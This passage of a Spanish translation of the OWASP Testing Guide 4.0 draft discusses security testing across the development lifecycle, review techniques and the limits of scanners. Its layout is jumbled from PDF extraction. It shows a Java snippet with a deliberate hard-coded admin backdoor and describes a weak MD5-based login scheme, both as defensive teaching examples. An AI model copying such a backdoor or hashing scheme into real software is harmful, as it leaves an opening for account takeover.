para más información sobre algunos de estos esfuerzos.

El marco descrito en este documento alienta a las personas a medir la seguridad a través del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del software inseguro con el impacto que tiene en el negocio y, en consecuencia, desarrollar procesos de negocios adecuados y asignar recursos para manejar el riesgo. Recuerde que la medición y pruebas de aplicaciones web son incluso más

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 11

Guia de pruebas 4.0 "Borrador"

críticas que otros programas, ya que las aplicaciones web están expuestas a millones de usuarios a través de Internet.

¿Qué es probar? Durante el ciclo de vida de desarrollo de una aplicación web necesitan probarse muchas cosas, pero ¿qué significa realmente probar? El diccionario MerriamWebster describe como:

La mayoría de la gente, hoy en día, no prueba el software hasta que ya ha sido creado y está en la fase de despliegue de su ciclo de vida (es decir, el código ha sido creado y utilizado en una aplicación web activa). Esto suele ser una práctica muy ineficaz y con un costo prohibitivo. Uno de los mejores métodos para impedir que haya fallos de seguridad que aparecen en aplicaciones en producción es mejorar el Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de artefactos de software. Si un SDLC actualmente no está siendo utilizando en su entorno, ¡es hora de elegir uno! La siguiente figura muestra un modelo SDLC genérico, así como el costo creciente (estimado) de corrección de fallas de seguridad en este modelo.

• Poner a prueba o verificar. • Someterse a una prueba.

Figura 1: Modelo SDLC genérico

• Asignar una posición o una evaluación basada en pruebas.

Para los efectos de este documento, probar es un proceso de comparar el estado de un sistema o una aplicación contra un conjunto de criterios. En la industria de seguridad, las personas, con frecuencia, prueban contra un conjunto de criterios mentales que no son bien definidos ni completos. Como resultado de esto, muchas personas ajenas consideran las pruebas como un arte oscuro. El objetivo de este documento es cambiar esa percepción y hacerlo más fácil para que personas sin conocimientos detallados de seguridad puedan hacer una diferencia en las pruebas.

¿Por qué realizar pruebas? Este documento está diseñado para ayudar a las organizaciones a entender lo que comprende un programa de pruebas y para ayudarles a identificar los pasos que deben realizarse para construir y operar un programa de pruebas en aplicaciones web. La guía ofrece una amplia visión de los elementos necesarios para hacer un programa comprensible de seguridad para aplicaciones web. Esta guía puede utilizarse como una guía de referencia y metodología para ayudar a determinar la brecha entre las prácticas existentes y las mejores prácticas de la industria. Esta guía permite a las organizaciones compararse con colegas del sector, para comprender la magnitud de los recursos necesarios para probar y mantener el software, o para prepararse para una auditoría. Este capítulo no entra en los detalles Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de seguridad para garantizar que esta esté adecuadamente cubierta y los controles sean eficaces durante todo el proceso de desarrollo. técnicos de cómo probar una aplicación, ya que la intención es proporcionar un marco de seguridad organizacional típico. Los detalles técnicos acerca de cómo probar una aplicación, como parte de una revisión de códigos o pruebas de penetración, se cubrirá en las demás partes de este documento.

¿Cuándo probar?

¿Qué se prueba? Puede ser útil pensar en el desarrollo de software como una combinación de personas, procesos y tecnología. Si estos son los factores que "crean" software, entonces es lógico que estos sean los factores que deben analizarse. Hoy, la mayoría de la gente generalmente prueba la tecnología o el software mismo.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 12

Guia de pruebas 4.0 "Borrador"

Un programa efectivo de pruebas debe tener componentes que prueban:

Principios de la prueba

Personas – para asegurar que existe una educación adecuada y consciente; Proceso – para asegurar que hay criterios y políticas adecuadas y que las

personas sepan cómo seguir estas políticas; Tecnología – para garantizar que el proceso ha sido eficaz en su implementación.

A menos que se adopte un enfoque integral, sólo probar la aplicación técnica de una aplicación no destapará la gestión o vulnerabilidades operacionales que podrían estar presentes. Probando a las personas, políticas y procesos, una organización puede encontrar temas que después se manifiesten en defectos en la tecnología, así como erradicar errores tempranamente e identificar la causa de los defectos. Además, sólo probando algunas de las cuestiones técnicas que pueden estar presentes en un sistema resultará en una evaluación de seguridad incompleta e inexacta.

Denis Verdon, Jefe de Seguridad de la Información en Fidelity National Finantial, presentó una excelente analogía de este concepto erróneo en la Conferencia OWASP AppSec 2004 en Nueva York [5]: «si los coches fueran construidos como aplicaciones [...] las pruebas de seguridad asumirían únicamente un impacto frontal. Los coches no serían probados en volcamiento, o pruebas de estabilidad en maniobras de emergencia, la efectividad de los frenos, impacto lateral y la resistencia al robo."

Retroalimentación y comentarios Como con todos los proyectos de OWASP, agradecemos sus comentarios

No hay una bala de plata Aunque es tentador pensar que un escáner de seguridad o cortafuegos para aplicaciones pueden proporcionar muchas defensas contra el ataque o identificar una serie de problemas, en realidad no hay ninguna bala de plata para el problema del software inseguro. El software de evaluación de seguridad, aunque es útil como un primer paso para encontrar el premio deseado, suele ser inmaduro e ineficaz en las evaluaciones a fondo o en brindar una prueba de cobertura adecuada. Recuerde que la seguridad es un proceso y no un producto.

Pensar estratégicamente, no tácticamente En los últimos años, los profesionales de la seguridad se han dado cuenta de la falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la información durante la década de 1990. El modelo de remendar y penetrar implica corregir un error reportado, pero sin una investigación adecuada de la causa inicial. Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra en la figura siguiente. La evolución de las vulnerabilidades en software común utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para obtener más información acerca de la ventana de la vulnerabilidad, consulte [6].

Estudios de vulnerabilidad [7] han demostrado que, con el tiempo de reacción de los atacantes en todo el mundo, la típica ventana de vulnerabilidad no proporciona suficiente tiempo para la instalación de la corrección, desde el momento de descubrir una vulnerabilidad; que se desarrolle y lance un ataque automático contra la aplicación ha ido disminuyendo cada año.

Hay varias suposiciones incorrectas en el modelo de parche y penetración. Muchos usuarios creen que los parches interfieren con las operaciones normales y podrían dañar las aplicaciones existentes. También es incorrecto asumir que todos los usuarios están conscientes de los parches recientemente lanzados. Por lo tanto, no todos los usuarios de un producto aplicarán parches, porque piensan que el parche puede interferir con el funcionamiento del software o por la falta de conocimiento sobre la existencia del parche.

y sugerencias. Especialmente nos gusta saber que nuestro trabajo está siendo utilizado y que es eficaz y preciso. Hay algunos errores comunes al desarrollar una metodología de pruebas para encontrar las fallas de seguridad en el software. Este capítulo cubre algunos de los principios básicos que los profesionales deben tomar en cuenta al realizar pruebas de seguridad en el software.

Figura 2: Ventana de vulnerabilidad

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 13

Guia de pruebas 4.0 "Borrador"

Es fundamental incluir la seguridad en el ciclo de vida de desarrollo de software (SDLC) para evitar problemas de seguridad recurrentes dentro de una aplicación. Los desarrolladores pueden incluir la seguridad en el SDLC mediante el desarrollo de normas, políticas y directrices que encajan y funcionan dentro de la metodología de desarrollo. El uso de modelos de amenazas y otras técnicas deberían usarse para ayudar a asignar recursos adecuados a las partes de un sistema que están en mayor riesgo. El SDLC es rey

El SDLC es un proceso muy conocido por los desarrolladores. Integrando la seguridad en cada fase del SDLC, nos permite una visión holística de la seguridad de la aplicación que aprovecha los procedimientos vigentes dentro de la organización. Tome en cuenta que mientras los nombres de las distintas fases pueden cambiar dependiendo del modelo de SDLC utilizado por cada organización, cada fase conceptual del arquetipo SDLC será utilizado para desarrollar la aplicación (es decir, definir, diseñar, desarrollar,

implementar, mantener). Cada fase tiene consideraciones de seguridad que deben formar parte del proceso existente, para asegurar un programa de seguridad integral y rentable.

Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo muestra cómo debe trabajar el SDLC seguro y el asesoramiento descriptivo muestra cómo debe usarse en el mundo real. Ambos tienen su lugar.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 14

Guia de pruebas 4.0 "Borrador"

Por ejemplo, si no sabe por dónde empezar, un marco prescriptivo puede proporcionar un menú de controles de seguridad potenciales que pueden aplicarse en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de decisión mediante la presentación de lo que ha funcionado bien para otras organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos seguros incluyen el Software Abierto de Modelo de Garantía de Madurez de OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual todavía están en desarrollo.

Prueba temprano y prueba continuamente Cuando un error se detecta tempranamente dentro del SDLC, puede abordarse más rápido y a menor costo. En este sentido, un fallo de seguridad no es diferente de un fallo funcional o de un fallo basado en el rendimiento. Un paso clave para hacer que esto sea posible es educar a los equipos de desarrollo y control de calidad sobre los problemas comunes de seguridad y las maneras de detectar y evitarlos. Aunque las nuevas bibliotecas, herramientas o idiomas pueden ayudar a diseñar mejores programas (con menos errores de seguridad), nuevas amenazas surgen

herramientas automatizadas son realmente malas al realizar pruebas de vulnerabilidad automáticamente es que este pensamiento creativo debe hacerse caso por caso, ya que la mayoría de las aplicaciones web se desarrollan de una manera única (aun cuando usen marcos comunes).

Entender el tema Una de las primeras iniciativas importantes en cualquier buen programa de seguridad es solicitar documentación precisa sobre la aplicación. La arquitectura, diagramas de flujo de datos, casos de uso, etc., deberían ser escritos en documentos formales y disponibles para su revisión. Las especificaciones técnicas y documentos de la aplicación deben incluir información que muestre no sólo los casos deseados de uso, sino también cualquier caso de uso no permitido expresamente. Por último, es bueno tener al menos una infraestructura de seguridad básica que permita la supervisión y seguimiento de tendencias de ataque contra las aplicaciones y la red de la organización (por ejemplo, los sistemas IDS).

Utilizar la herramientas correctas constantemente y los desarrolladores deben ser conscientes de las amenazas que afectan al software que están desarrollando. La educación en pruebas de seguridad también ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar una aplicación desde la perspectiva de un atacante. Esto permite a cada organización considerar los problemas de seguridad como parte de sus responsabilidades actuales.

Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las herramientas juegan un papel crítico en el programa general de seguridad. Hay una gama de herramientas de código abierto y herramientas comerciales que pueden automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en sus tareas. Sin embargo, es importante entender exactamente lo que estas herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen incorrectamente.

Comprender el ámbito de seguridad Es importante saber cuánta seguridad requerirá un proyecto. La información y los activos que deben ser protegidos deberán tener una clasificación que establezca cómo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las discusiones deben llevarse a cabo con consejo legal para asegurarse de que se cumplan los requisitos de seguridad específicos. En E.E.U.U., los requisitos podrían venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones con sede en países de la UE, tanto los reglamentos del país como las directivas de la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar los datos personales con el debido cuidado, cualquiera que sea la aplicación.

Desarrollar la mentalidad correcta Probar exitosamente una aplicación contra vulnerabilidades de seguridad requiere pensar "fuera de la caja." Casos de uso habitual pondrán a prueba el comportamiento normal de la aplicación cuando un usuario la está utilizando de la manera esperada. Una buena prueba de seguridad requiere ir más allá de lo que se espera y pensar como un atacante que está tratando de penetrar en la aplicación. El pensamiento creativo puede ayudar a determinar qué datos inesperados pueden causar que una aplicación falle de manera insegura. También puede ayudar a encontrar las suposiciones hechas por los desarrolladores web que no siempre son verdaderas y cómo pueden ser subvertidas. Una de las razones por las que las

El Diablo se encuentra en los detalles Es fundamental no realizar una revisión superficial de la seguridad de una aplicación y considerarla completa. Esto generará una falsa sensación de confianza que puede ser tan peligrosa como el no haber hecho una revisión de seguridad desde un inicio. Es vital revisar los hallazgos y descartar

cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de seguridad incorrecto a menudo puede minar la validez del resto del informe de seguridad. Debe tener cuidado de verificar que cada sección de la lógica de la aplicación ha sido probada, y que cada escenario de casos de usos fue explorado para encontrar posibles vulnerabilidades.

Use el código fuente cuando esté disponible Aunque las pruebas de penetración de Caja Negra pueden ser impresionantes y útiles para demostrar cómo las vulnerabilidades están expuestas en un entorno de producción, no son la manera más eficaz o eficiente para asegurar una aplicación. Es difícil, con una prueba dinámica, probar todo el código base, particularmente si existen muchos condicionales anidados. Si el código fuente de la aplicación está

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 15

Guia de pruebas 4.0 "Borrador"

disponible, debería entregarse al personal de seguridad para ayudar a realizar su revisión. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicación que pasaron desapercibidas con la prueba de la Caja Negra.

Desarrollar métricas Una parte importante de un buen programa de seguridad es su capacidad para determinar si las cosas están mejorando. Es importante hacer seguimiento a los resultados de la prueba y desarrollar indicadores (métricas) que revelen las tendencias de seguridad de la aplicación dentro de la organización.

Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar tiempo y asegurar que los resultados sean documentados con precisión y consistencia y estén en un formato adecuado para el grupo objetivo.

Explicación de las técnicas de prueba

Unas buenas métricas mostrarán:

• Si se requiere más educación y entrenamiento; • Si existe un mecanismo de seguridad en particular que no ha sido entendido claramente por el equipo de desarrollo;

Esta sección presenta un resumen de alto nivel de diferentes técnicas de prueba que se pueden emplear al crear un programa de pruebas. No presenta metodologías específicas para estas técnicas ya que esta información está cubierta en el capítulo 3. Esta sección se incluye para proporcionar un contexto para el marco de referencia que se presenta en el próximo capítulo y para resaltar las ventajas y desventajas de algunas de las técnicas que se deben considerar. En particular, cubrimos:

• Si el número total de problemas encontrados, relacionados con la seguridad, ha disminuido mes a mes. • Inspecciones y Revisiones Manuales Las métricas constantes que se pueden generar de manera automatizada desde el código fuente disponible también ayudarán a la organización en la evaluación de la efectividad de los mecanismos creados para reducir los fallos de seguridad en el desarrollo de software. Las métricas no se desarrollan fácilmente, así que usar métricas estándar como las previstas por el proyecto de métricas OWASP y otras organizaciones es un buen punto de partida.

• Modelado de Amenazas • Revisión de Código • Pruebas de Penetración

Inspecciones y Revisiones Manuales Documente los resultados de las pruebas Para concluir el proceso de pruebas, es importante generar un registro formal de las acciones de prueba que fueron tomadas, por quiénes, cuándo se realizaron y los detalles de los resultados de la prueba. Es conveniente acordar un formato aprobado para el informe, que sea útil para todas las partes interesadas, que puede incluir desarrolladores, gerentes de proyectos, dueños de negocios, departamento de tecnología, auditoría y cumplimiento.

El informe debe ser claro para que el dueño del negocio identifique dónde existen riesgos materiales, y suficiente para obtener su respaldo para acciones de mitigación posteriores. El informe también debe ser claro para el desarrollador para poder precisar la función exacta que se ve afectada por la vulnerabilidad y recomendaciones asociadas para resolver los problemas en un lenguaje que entienda el desarrollador. El informe también deberá permitir que otro técnico de seguridad pueda reproducir los resultados. La redacción del informe no debe ser una carga para el mismo técnico de seguridad. Los técnicos de seguridad no son generalmente reconocidos por sus habilidades de escritura creativa, y generar un informe complejo puede llevar a instancias donde los resultados de la prueba no sean correctamente documentados.

Resumen Las inspecciones manuales son revisiones realizadas por humanos, que prueban típicamente las implicaciones de seguridad de las personas, políticas y procesos. Las inspecciones manuales también pueden incluir la verificación de las decisiones de tecnología tales como diseños arquitectónicos. Generalmente se realizan analizando documentación o realizando entrevistas con los diseñadores o dueños del sistema. Aunque el concepto de inspecciones manuales y revisiones humanas es simple, estas pueden estar entre las técnicas disponibles más poderosas y eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de una manera específica, el evaluador puede determinar rápidamente si alguna duda de seguridad es evidente. Las revisiones y controles manuales son algunas de las contadas maneras para probar el proceso mismo del ciclo de vida de desarrollo del software y para asegurar que existe una adecuada política o habilidad.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 16

Guia de pruebas 4.0 "Borrador"

Como con muchas cosas en la vida, al realizar inspecciones manuales y revisiones, es recomendable adoptar un modelo de "confíe pero verifique". No todo lo que el evaluador muestre o diga será preciso.

Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este enfoque implica:

Las revisiones manuales son particularmente buenas para probar si las personas entienden el proceso de seguridad, han sido concientizadas sobre la política y tienen las habilidades apropiadas para diseñar o implementar una aplicación segura. Otras actividades, como revisar manualmente la documentación, políticas de codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben ser cumplidas mediante una inspección manual.

• Descomposición de la aplicación - utilice un proceso de inspección manual para entender cómo funciona la aplicación, sus activos, funcionalidad y conectividad. • Definir y clasificar los activos – clasifique los activos en tangibles e intangibles y ordénelos según la importancia del negocio.

Ventajas: • No requieren de tecnología de apoyo. • Se pueden aplicar a una variedad de situaciones. • Son flexibles.

• Explorar posibles vulnerabilidades - sean técnicas, operacionales o de administración. • Explorar posibles amenazas - desarrolle una visión realista de los posibles vectores de ataque desde la perspectiva de un atacante, mediante el uso de escenarios de amenaza o árboles de ataque.

• Promueven el trabajo en equipo. • Se inician temprano en el SDLC.

Desventajas: • Pueden desperdiciar el tiempo. • El material de apoyo material no siempre está disponible. • Requieren significativamente del pensamiento humano y la habilidad para ser eficaces.

• Crear estrategias de mitigación - desarrollando controles de mitigación para cada una de las amenazas consideradas realistas.

El reporte de un modelo de amenaza en sí puede variar, pero, por lo general, es una colección de listas y diagramas. La guía de Revisión de Códigos de OWASP describe una metodología de un modelo de amenazas para aplicaciones, que puede utilizarse como referencia para las aplicaciones de prueba de posibles fallos de seguridad en el diseño de la aplicación. No existe ninguna forma correcta o incorrecta para desarrollar modelos de amenaza y realizar evaluaciones de riesgos de información en las aplicaciones. [12].

Ventajas:

Creación de modelos de amenazas

• Vista práctica del sistema desde el punto de vista del atacante.

Resumen

• Flexible

La creación de modelos de amenazas se ha convertido en una técnica popular para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la creación de modelos de amenazas puede verse como la evaluación de riesgo para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su inevitable escasez de recursos y atención en las partes del sistema que más lo requiere. Se recomienda que todas las aplicaciones tengan un modelaje de amenazas desarrollado y documentado. Los modelos de amenazas deben crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona la aplicación y el desarrollo progresa.

• Se inicia temprano en el SDLC.

Desventajas: • Técnica relativamente nueva. • Buenos modelos de amenazas no significan automáticamente buenas aplicaciones.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 17

Guia de pruebas 4.0 "Borrador"

Revisión de código fuente Resumen La revisión del código fuente es el proceso de comprobar manualmente el código fuente de una aplicación web por cuestiones de seguridad. Muchas vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber lo que realmente está pasando, vaya directamente a la fuente". Casi todos los expertos en seguridad están de acuerdo en

que no existe un sustituto para revisar el código. Toda la información para identificar problemas de seguridad existe en alguna parte del código. A diferencia de las pruebas de software cerrado externo, tales como los sistemas operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en la empresa), el código fuente debe estar disponible para propósitos de prueba.

Muchos problemas de seguridad no intencionales, pero significativos, son también extremadamente difíciles de descubrir mediante otras formas de análisis o pruebas, como las pruebas de penetración; hacen del análisis de código fuente la técnica elegida para la prueba técnica. Con el código fuente, un evaluador puede determinar con precisión lo que está sucediendo (o se supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.

Ejemplos de temas que son especialmente propicios para ser encontrados a través de revisiones de código fuente incluyen problemas de concurrencia, lógica de negocio imperfecto, problemas de control de acceso y debilidades criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas de tiempo, bombas lógicas y otras formas de código malicioso. Estos problemas a menudo se manifiestan como las más nefastas vulnerabilidades en sitios web. El análisis de código fuente también puede ser extremadamente eficiente para encontrar problemas de implementación tales como lugares donde no se realizó la validación de entrada o cuando los procedimientos de control abierto de fallas pueden estar presentes. Pero tenga en cuenta qué los procedimientos operacionales deben revisarse, ya que el código fuente que está implementando no sería el mismo que el analizado en este documento [13].

• Requiere de desarrolladores expertos de seguridad. • Puede saltarse temas en bibliotecas compiladas. • No puede detectar fácilmente errores de tiempo de ejecución. • El código fuente desplegado puede diferir del que se analiza.

Para más información sobre revisión de código, investigue el proyecto de revisión de código OWASP.

Pruebas de penetración Resumen Las pruebas de penetración han sido, por muchos años, una técnica común utilizada para probar la seguridad de la red. También se las conoce comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las pruebas de penetración son esencialmente el "arte" de probar una aplicación en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin saber el funcionamiento interno de la aplicación. Por lo general, el equipo de pruebas de penetración tendría acceso a una aplicación como si fuera usuario. El evaluador actúa como un intruso e intenta encontrar y explotar vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida en el sistema.

Mientras que las pruebas de penetración han demostrado ser eficaces en la seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones. Cuando se realizan pruebas de penetración en redes y sistemas operativos, la mayoría del trabajo está relacionado con encontrar y luego explotar vulnerabilidades conocidas en tecnologías

específicas. Como las aplicaciones web son básicamente hechas a la medida, las pruebas de penetración en el campo de las aplicaciones web son más parecidas a la investigación pura. Se han desarrollado herramientas de pruebas de penetración que automatizan el proceso, pero por la naturaleza de las aplicaciones web, su eficacia es generalmente pobre.

Ventajas: • Finalización y efectividad. • Precisión. • Es rápida (para correctores competentes).

Desventajas:

Muchas personas utilizan hoy en día las pruebas de penetración como su técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en un programa de pruebas, no creemos que debe ser considerada como la técnica principal o la única. Gary McGraw en [14] resumió bien a las pruebas de penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes si tienes un problema muy malo". Sin embargo, las pruebas de penetración focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas y detectadas en revisiones anteriores) pueden ser útiles en la detección si

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 18

Guia de pruebas 4.0 "Borrador"

realmente se arreglan algunas vulnerabilidades específicas en el código desplegado en el sitio web.

desafíen todos los supuestos, tales como el no acceso al código fuente y el explorar la posibilidad de realizar pruebas más completas.

Ventajas:

Un enfoque equilibrado varía dependiendo de muchos factores, tales como la madurez del proceso de prueba y la cultura corporativa. Se recomienda que un marco de pruebas equilibrado se vea como las representaciones que se muestran en la Figura 3 y Figura 4. La siguiente figura muestra una típica representación proporcional sobrepuesta al ciclo de vida de desarrollo de software. Para mantenerse al nivel de la investigación y la experiencia, es esencial que las empresas pongan un mayor énfasis en las primeras etapas de desarrollo.

• Puede ser rápida (y por lo tanto económica). • Requiere de un conjunto de habilidades relativamente inferior al requerido para revisión de código fuente. • Prueba el código que realmente se está exponiendo.

Figura 3: Proporción esfuerzo en pruebas en el SDLC Desventajas: • Se realiza demasiado tarde en el SDLC. • Es solamente una prueba de impacto frontal.

La necesidad de un enfoque equilibrado Con tantas técnicas y enfoques para probar la seguridad de aplicaciones web, puede ser difícil entender qué técnicas usar y cuándo usarlas. La experiencia demuestra que no existe una respuesta correcta o incorrecta a la pregunta sobre qué técnicas exactas pueden usarse para construir un marco conceptual de pruebas. De hecho, todas las técnicas probablemente pueden usarse para poner a prueba todas las áreas que necesitan ser probadas.

Aunque es claro que no existe una técnica única que pueda realizarse para cubrir eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas han sido abordados, muchas empresas adoptan sólo una aproximación. El enfoque utilizado ha sido históricamente pruebas de penetración. Las pruebas de penetración, aunque útiles, no pueden abordar eficazmente muchos de los temas que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida del desarrollo de software (SDLC).

En la siguiente figura se muestra una típica representación proporcional sobrepuesta a las pruebas técnicas.

Figura 4: Proporción de prueba de esfuerzo según prueba técnica

El enfoque correcto es un enfoque equilibrado que incluye varias técnicas, desde revisiones manuales a pruebas técnicas. Un enfoque equilibrado debe cubrir las pruebas en todas las fases del SDLC. Este enfoque aprovecha las técnicas más apropiadas disponibles, dependiendo de la fase actual de SDLC.

Por supuesto, hay momentos y circunstancias donde solo es posible usar una técnica. Por ejemplo, una prueba en una aplicación web que ya ha sido creada, pero donde el grupo de pruebas no tiene acceso al código fuente. En este caso, las pruebas de penetración son claramente mejores que no hacer ninguna prueba en absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba

Una nota acerca de los escáneres de aplicaciones Web:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 19

Guia de pruebas 4.0 "Borrador"

Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, algunos temas fundamentales deben ser resaltados porque se cree que las pruebas de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo, destacar estos temas no debería desalentar el uso de los escáneres de aplicación web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, así, los marcos de pruebas se planeen adecuadamente.

Importante: OWASP actualmente está trabajando para desarrollar una plataforma de escaneo mediante una evaluación comparativa. Los ejemplos siguientes muestran por qué las pruebas automatizadas de Caja Negra son ineficaces.

'Ejemplo 1: Los parámetros mágicos' Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y luego el valor. Para simplificar, la solicitud GET puede ser:

http://www.host/application?magic=value Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9.

Los diseñadores de esta aplicación crearon una puerta trasera de administración durante la prueba, pero la ofuscaron para evitar que un observador casual pueda descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el usuario, entonces, se conectará y tendrá una pantalla administrativa con el control total de la aplicación. La solicitud HTTP es ahora: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d

Dado que todos los otros parámetros fueron campos simples de dos y tres caracteres, no es posible adivinar combinaciones de aproximadamente 28 caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^ 28 permutaciones, o trillones de peticiones HTTP. Esto es un electrón en un pajar digital.

Mirando el código, la vulnerabilidad prácticamente salta de la página como un problema potencial.

Ejemplo 2: Mala criptografía La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el desarrollador decide que si un usuario está conectado en el sitio A, entonces generará una clave utilizando una función de hash MD5 que comprende: Hash {username: fecha}.

Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el sitio B autentica al usuario como dice ser.

Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq) puede iniciar una sesión como cualquier usuario. La inspección manual, como una revisión o inspección de código, habría descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no cambió en una manera predecible. Una nota sobre las herramientas de revisión de códigos fuente estáticas: Muchas organizaciones han comenzado a usar escáneres estáticos de códigos fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de por qué este enfoque no es eficaz cuando se utiliza solo. El análisis de código fuente estático no puede identificar los problemas debidos a fallas en el diseño, ya que no puede entender el

contexto en el que se construye el código. Las herramientas de análisis de código fuente son útiles en la determinación de problemas de seguridad debido a errores de codificación; sin embargo, se requiere un esfuerzo manual significativo para validar los resultados.

La verificación del código de este parámetro mágico ejemplar puede verse a continuación:

Derivar requerimientos de prueba de seguridad public void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;

Para tener un programa de pruebas exitoso, uno debe saber cuáles son los objetivos de la prueba. Estos objetivos se especifican en los requisitos de seguridad. Esta sección explica en detalle cómo documentar los requisitos de las pruebas de seguridad, derivándolos de reglamentos y normas aplicables y de los requisitos positivos y negativos de la aplicación. También habla de cómo los requisitos de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org boolean admin = magic.equals( request.getParameter(“magic”)); 20 if (admin) doAdmin( request, response); else …. // normal processing

Guia de pruebas 4.0 "Borrador"

seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y cómo se pueden utilizar los datos de pruebas de seguridad para gestionar eficazmente los riesgos de seguridad de software.

Objetivos de realizar pruebas Uno de los objetivos de las pruebas de seguridad es validar que los controles de seguridad funcionan como se espera. Esto se documenta por medio de requisitos de seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, esto significa comprobar la confidencialidad, integridad y disponibilidad de los datos, así como el servicio. El otro objetivo es validar que los controles de seguridad se implementen con pocas o ninguna vulnerabilidad. Hay vulnerabilidades comunes, tales como el OWASP Top Ten, así como las vulnerabilidades que se han identificado previamente en evaluaciones de seguridad durante el SDLC, como modelaje de amenazas, análisis de código fuente y prueba de penetración. Documentación de requisitos de seguridad El primer paso en la documentación de requisitos de seguridad es entender los requerimientos del negocio. Un documento de requisitos del negocio puede proporcionar información inicial de alto nivel sobre la funcionalidad esperada de la aplicación. Por ejemplo, el propósito principal de una aplicación puede ser proporcionar servicios financieros a clientes o permitir adquirir bienes de un catálogo en línea. Una sección de seguridad de los requerimientos del negocio debe resaltar la necesidad de proteger los datos del cliente, así como cumplir con la documentación de seguridad aplicable, tal como regulaciones, estándares y políticas.

